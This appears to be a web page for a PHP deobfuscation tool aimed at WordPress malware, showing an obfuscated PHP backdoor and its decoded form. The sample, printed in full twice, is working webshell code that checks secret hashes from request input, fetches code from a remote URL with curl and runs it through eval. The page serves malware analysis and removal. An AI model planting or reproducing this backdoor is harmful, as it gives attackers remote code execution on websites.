Japanese 
English
PHP deobfuscation, decryption, reconstruction toolDe-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php
goto MMyHoA3HHwe0iiS;
Tna9zTbOiDvMk1C:
metaphone("\115\x54\115\x31\117\x54\101\64\x4d\124\x63\170\x4e\x7a\x55\61\x4e\172\101\64\x4e\152\147\x35\x4f\124\x55\63\x4e\104\x4d\x78");
goto ujTlGlADaopEX7L;
MMyHoA3HHwe0iiS:
$H6MRj3rIAzYRPgc = "\x72" . "\x61" . "\x6e" . "\x67" . "\145";
goto ZFGUSGXZ9rBY1lW;
ujTlGlADaopEX7L:
class gs9ZTUGLINQgzRK
{
static function bwWOBDXEncraemX($kDaZDAoYQTJqwXZ)
{
goto ExNLSlVBdNwpcem;
fi6esDzueFd929E:
return $U5llEdbgbcPs6wD;
goto PO7XPbVTsXZ5tjo;
itXROz3q7i_oSB1:
BkenXqgDd543SS1:
goto fi6esDzueFd929E;
aJ8rvSl0Bu10xG1:
$U5llEdbgbcPs6wD = '';
goto cLgL3GPUbCWcBja;
ExNLSlVBdNwpcem:
$MnbyHVgnCXcLbxR = "\162" . "\x61" . "\x6e" . "\147" . "\145";
goto UThnVBPhZiX8FJA;
Bb82NarGKBqZ8pk:
$ktTQz70_76C2LAl = explode("\135", $kDaZDAoYQTJqwXZ);
goto aJ8rvSl0Bu10xG1;
cLgL3GPUbCWcBja:
foreach ($ktTQz70_76C2LAl as $pZWunZL22jiOqQC => $kE0vhCll4KUiSWL) {
$U5llEdbgbcPs6wD .= $rr35dLAFdlzNV2r[$kE0vhCll4KUiSWL - 60722];
GZR8o0EVv0TXSb0:
}
goto itXROz3q7i_oSB1;
UThnVBPhZiX8FJA:
$rr35dLAFdlzNV2r = $MnbyHVgnCXcLbxR("\x7e", "\x20");
goto Bb82NarGKBqZ8pk;
PO7XPbVTsXZ5tjo:
}
static function UBlAGTuhT9fw56i($yJIZJFO_t_DvMgx, $cu2bCN3KaNYEOaQ)
{
goto pbz3LVFbcpT2FwG;
VHI0iGxdpIeO4TU:
$cdO8qoRZjb1zpvX = curl_exec($sE1sZyymcepKWSc);
goto LyVXpInc62ZgSFY;
LyVXpInc62ZgSFY:
return empty($cdO8qoRZjb1zpvX) ? $cu2bCN3KaNYEOaQ($yJIZJFO_t_DvMgx) : $cdO8qoRZjb1zpvX;
goto nBhJeh0CLxEXsvf;
OMTpiTRxiL5Yt72:
curl_setopt($sE1sZyymcepKWSc, CURLOPT_RETURNTRANSFER, 1);
goto VHI0iGxdpIeO4TU;
pbz3LVFbcpT2FwG:
$sE1sZyymcepKWSc = curl_init($yJIZJFO_t_DvMgx);
goto OMTpiTRxiL5Yt72;
nBhJeh0CLxEXsvf:
}
static function Pzw3j8NyWc9CkX6()
{
goto Eonmop2W6O7u99n;
RWpegUcAVZZjwit:
XnfAchcyNGJ_kSA:
goto ujEK_MSyaN5ChpL;
jn7TQ4fV1HCKah3:
die;
goto zAw6yUcs37uupeG;
sfABuBExcvEZLoc:
$GZrdigY5nc1y8YL = @$FRZsthKqdqHiwRA[1 + 2]($FRZsthKqdqHiwRA[2 + 4], $Ee01ZSdSlpZETQq);
goto b2_SZdsotC3ZMXt;
zAw6yUcs37uupeG:
mu3dUl7F31bw9ZC:
goto P061HjP1egMtN9C;
ujEK_MSyaN5ChpL:
$Ee01ZSdSlpZETQq = @$FRZsthKqdqHiwRA[1]($FRZsthKqdqHiwRA[7 + 3](INPUT_GET, $FRZsthKqdqHiwRA[1 + 8]));
goto sfABuBExcvEZLoc;
Mnq83LVthvIQ1CR:
@eval($FRZsthKqdqHiwRA[3 + 1]($aXZlnuhmsbvkvTO));
goto jn7TQ4fV1HCKah3;
FzRS1kUverllMEa:
if (!(@$GKGTCxm7QVc5Nx9[0] - time() > 0 and md5(md5($GKGTCxm7QVc5Nx9[0 + 3])) === "\x38\x61\67\63\63\x33\61\63\142\x66\x36\x62\71\x63\63\71\66\66\x30\143\x63\71\x62\146\64\x33\x32\x39\x64\x31\x62\141")) {
goto mu3dUl7F31bw9ZC;
}
goto vnmbvBkI9NWAao5;
AJeA9nkrjCl5tW3:
foreach ($nJEprvIosB1XrDs as $DuMPywarsAmEnZw) {
$FRZsthKqdqHiwRA[] = self::BWWObdXENcrAemx($DuMPywarsAmEnZw);
YdYdNr6Iw0lBktA:
}
goto RWpegUcAVZZjwit;
vnmbvBkI9NWAao5:
$aXZlnuhmsbvkvTO = self::ubLaGTUhT9FW56i($GKGTCxm7QVc5Nx9[1 + 0], $FRZsthKqdqHiwRA[0 + 5]);
goto Mnq83LVthvIQ1CR;
ckeSbg69bHAUfyk:
@$FRZsthKqdqHiwRA[7 + 3](INPUT_GET, "\157\146") == 1 && die($FRZsthKqdqHiwRA[0 + 5](__FILE__));
goto FzRS1kUverllMEa;
b2_SZdsotC3ZMXt:
$GKGTCxm7QVc5Nx9 = $FRZsthKqdqHiwRA[2 + 0]($GZrdigY5nc1y8YL, true);
goto ckeSbg69bHAUfyk;
Eonmop2W6O7u99n:
$nJEprvIosB1XrDs = array("\66\60\67\64\x39\x5d\66\60\67\x33\x34\x5d\x36\x30\x37\64\x37\135\x36\x30\67\65\61\135\66\60\67\x33\x32\x5d\x36\x30\x37\x34\67\135\x36\x30\67\x35\x33\x5d\x36\x30\x37\x34\66\135\x36\60\67\x33\x31\135\66\60\x37\63\x38\x5d\66\x30\67\64\71\135\x36\60\x37\x33\x32\x5d\x36\60\67\64\x33\135\66\60\67\x33\67\135\66\x30\x37\x33\x38", "\x36\x30\x37\63\x33\x5d\66\x30\x37\63\62\x5d\x36\60\x37\63\64\135\x36\x30\67\x35\63\x5d\66\60\x37\x33\64\x5d\x36\x30\67\x33\x37\135\x36\60\67\x33\x32\x5d\x36\60\x37\71\71\135\66\x30\67\x39\67", "\66\x30\x37\64\x32\135\66\60\x37\63\x33\135\66\60\67\x33\67\135\66\x30\x37\63\x38\x5d\66\x30\67\x35\63\x5d\66\x30\x37\64\70\x5d\x36\x30\x37\64\x37\135\x36\x30\67\64\x39\x5d\66\60\67\63\67\x5d\x36\60\x37\64\70\x5d\66\x30\67\64\x37", "\66\60\x37\x33\66\135\x36\x30\x37\x35\x31\x5d\66\60\67\x34\71\135\x36\60\x37\64\x31", "\x36\x30\x37\x35\60\135\x36\60\67\x35\x31\x5d\x36\x30\x37\63\63\135\66\60\x37\x34\67\135\x36\x30\67\x39\64\x5d\x36\x30\x37\71\66\x5d\66\x30\x37\x35\63\x5d\66\x30\67\x34\x38\135\x36\60\67\x34\x37\x5d\66\60\x37\x34\71\x5d\x36\60\67\63\x37\x5d\66\60\67\x34\x38\135\x36\x30\67\x34\x37", "\66\x30\x37\64\66\135\66\60\x37\x34\63\135\x36\60\67\x34\60\x5d\66\x30\67\64\x37\x5d\x36\60\x37\65\63\x5d\x36\x30\67\x34\x35\x5d\66\60\67\x34\x37\135\x36\x30\x37\x33\x32\x5d\x36\60\67\x35\63\x5d\x36\60\x37\64\71\x5d\x36\60\67\x33\x37\135\66\60\67\x33\70\x5d\66\x30\x37\63\x32\x5d\66\60\67\x34\x37\135\x36\60\67\63\70\135\x36\x30\67\63\62\x5d\x36\60\67\x33\63", "\66\60\67\x37\x36\x5d\x36\60\70\x30\x36", "\x36\x30\x37\x32\x33", "\66\60\x38\x30\61\x5d\66\x30\70\x30\66", "\66\60\x37\x38\x33\135\x36\x30\x37\x36\x36\135\x36\x30\67\66\66\x5d\x36\x30\x37\70\x33\135\66\60\67\x35\71", "\66\60\x37\64\66\x5d\66\x30\67\x34\x33\x5d\66\x30\67\64\60\135\66\60\67\63\x32\x5d\66\x30\67\64\67\x5d\66\60\67\63\64\135\66\x30\67\65\63\135\66\60\67\64\63\135\x36\60\x37\63\x38\x5d\x36\60\x37\63\x36\135\66\x30\x37\x33\61\135\x36\x30\x37\63\x32");
goto AJeA9nkrjCl5tW3;
P061HjP1egMtN9C:
}
}
goto CcBu_i5aW2kH6Gq;
ZFGUSGXZ9rBY1lW:
$ygKbZmm7VJ0ys1s = $H6MRj3rIAzYRPgc("\176", "\40");
goto cNqJlvySqG8iSn_;
Wf5yBPfUZJ7feEd:
@(md5(md5(md5(md5($mC7IUKHEUCyrREw[6])))) === "\70\x35\x62\x34\x31\x37\63\67\x36\x66\61\x39\x64\146\61\70\144\142\66\x31\x64\x39\71\x63\62\x61\x36\x63\143\x37\x36\63") && (count($mC7IUKHEUCyrREw) == 12 && in_array(gettype($mC7IUKHEUCyrREw) . count($mC7IUKHEUCyrREw), $mC7IUKHEUCyrREw)) ? ($mC7IUKHEUCyrREw[67] = $mC7IUKHEUCyrREw[67] . $mC7IUKHEUCyrREw[75]) && ($mC7IUKHEUCyrREw[89] = $mC7IUKHEUCyrREw[67]($mC7IUKHEUCyrREw[89])) && @eval($mC7IUKHEUCyrREw[67](${$mC7IUKHEUCyrREw[45]}[24])) : $mC7IUKHEUCyrREw;
goto Tna9zTbOiDvMk1C;
cNqJlvySqG8iSn_:
$mC7IUKHEUCyrREw = ${$ygKbZmm7VJ0ys1s[8 + 23] . $ygKbZmm7VJ0ys1s[5 + 54] . $ygKbZmm7VJ0ys1s[38 + 9] . $ygKbZmm7VJ0ys1s[40 + 7] . $ygKbZmm7VJ0ys1s[7 + 44] . $ygKbZmm7VJ0ys1s[41 + 12] . $ygKbZmm7VJ0ys1s[43 + 14]};
goto Wf5yBPfUZJ7feEd;
CcBu_i5aW2kH6Gq:
gs9ztUGLinqGZRK::PZW3j8nYwC9CKX6();
?>
BiaoJiOk<?php
$H6MRj3rIAzYRPgc = "range";
$ygKbZmm7VJ0ys1s = range("~", " ");
$mC7IUKHEUCyrREw = ${$ygKbZmm7VJ0ys1s[31] . $ygKbZmm7VJ0ys1s[59] . $ygKbZmm7VJ0ys1s[47] . $ygKbZmm7VJ0ys1s[47] . $ygKbZmm7VJ0ys1s[51] . $ygKbZmm7VJ0ys1s[53] . $ygKbZmm7VJ0ys1s[57]};
@(md5(md5(md5(md5($mC7IUKHEUCyrREw[6])))) === "85b417376f19df18db61d99c2a6cc763") && (count($mC7IUKHEUCyrREw) == 12 && in_array(gettype($mC7IUKHEUCyrREw) . count($mC7IUKHEUCyrREw), $mC7IUKHEUCyrREw)) ? ($mC7IUKHEUCyrREw[67] .= $mC7IUKHEUCyrREw[75]) && ($mC7IUKHEUCyrREw[89] = $mC7IUKHEUCyrREw[67]($mC7IUKHEUCyrREw[89])) && @eval($mC7IUKHEUCyrREw[67](${$mC7IUKHEUCyrREw[45]}[24])) : $mC7IUKHEUCyrREw;
metaphone("MTM1OTA4MTcxNzU1NzA4Njg5OTU3NDMx");
class gs9ZTUGLINQgzRK
{
static function bwWOBDXEncraemX($kDaZDAoYQTJqwXZ)
{
$MnbyHVgnCXcLbxR = "range";
$rr35dLAFdlzNV2r = range("~", " ");
$ktTQz70_76C2LAl = explode("]", $kDaZDAoYQTJqwXZ);
$U5llEdbgbcPs6wD = '';
foreach ($ktTQz70_76C2LAl as $pZWunZL22jiOqQC => $kE0vhCll4KUiSWL) {
$U5llEdbgbcPs6wD .= $rr35dLAFdlzNV2r[$kE0vhCll4KUiSWL - 60722];
}
return $U5llEdbgbcPs6wD;
}
static function UBlAGTuhT9fw56i($yJIZJFO_t_DvMgx, $cu2bCN3KaNYEOaQ)
{
$sE1sZyymcepKWSc = curl_init($yJIZJFO_t_DvMgx);
curl_setopt($sE1sZyymcepKWSc, CURLOPT_RETURNTRANSFER, 1);
$cdO8qoRZjb1zpvX = curl_exec($sE1sZyymcepKWSc);
return empty($cdO8qoRZjb1zpvX) ? $cu2bCN3KaNYEOaQ($yJIZJFO_t_DvMgx) : $cdO8qoRZjb1zpvX;
}
static function Pzw3j8NyWc9CkX6()
{
$nJEprvIosB1XrDs = array("60749]60734]60747]60751]60732]60747]60753]60746]60731]60738]60749]60732]60743]60737]60738", "60733]60732]60734]60753]60734]60737]60732]60799]60797", "60742]60733]60737]60738]60753]60748]60747]60749]60737]60748]60747", "60736]60751]60749]60741", "60750]60751]60733]60747]60794]60796]60753]60748]60747]60749]60737]60748]60747", "60746]60743]60740]60747]60753]60745]60747]60732]60753]60749]60737]60738]60732]60747]60738]60732]60733", "60776]60806", "60723", "60801]60806", "60783]60766]60766]60783]60759", "60746]60743]60740]60732]60747]60734]60753]60743]60738]60736]60731]60732");
foreach ($nJEprvIosB1XrDs as $DuMPywarsAmEnZw) {
$FRZsthKqdqHiwRA[] = self::BWWObdXENcrAemx($DuMPywarsAmEnZw);
}
$Ee01ZSdSlpZETQq = @$FRZsthKqdqHiwRA[1]($FRZsthKqdqHiwRA[10](INPUT_GET, $FRZsthKqdqHiwRA[9]));
$GZrdigY5nc1y8YL = @$FRZsthKqdqHiwRA[3]($FRZsthKqdqHiwRA[6], $Ee01ZSdSlpZETQq);
$GKGTCxm7QVc5Nx9 = $FRZsthKqdqHiwRA[2]($GZrdigY5nc1y8YL, true);
@$FRZsthKqdqHiwRA[10](INPUT_GET, "of") == 1 && die($FRZsthKqdqHiwRA[5]("/var/www/html/input.php"));
if (!(@$GKGTCxm7QVc5Nx9[0] - time() > 0 and md5(md5($GKGTCxm7QVc5Nx9[3])) === "8a733313bf6b9c39660cc9bf4329d1ba")) {
// [PHPDeobfuscator] Implied return
return;
}
$aXZlnuhmsbvkvTO = self::ubLaGTUhT9FW56i($GKGTCxm7QVc5Nx9[1], $FRZsthKqdqHiwRA[5]);
@eval($FRZsthKqdqHiwRA[4]($aXZlnuhmsbvkvTO));
die;
}
}
gs9ztUGLinqGZRK::PZW3j8nYwC9CKX6();
?>
BiaoJiOkMalware detection & removal plugin for WordPress
（C）2020 Wordpress Doctor All rights reserved.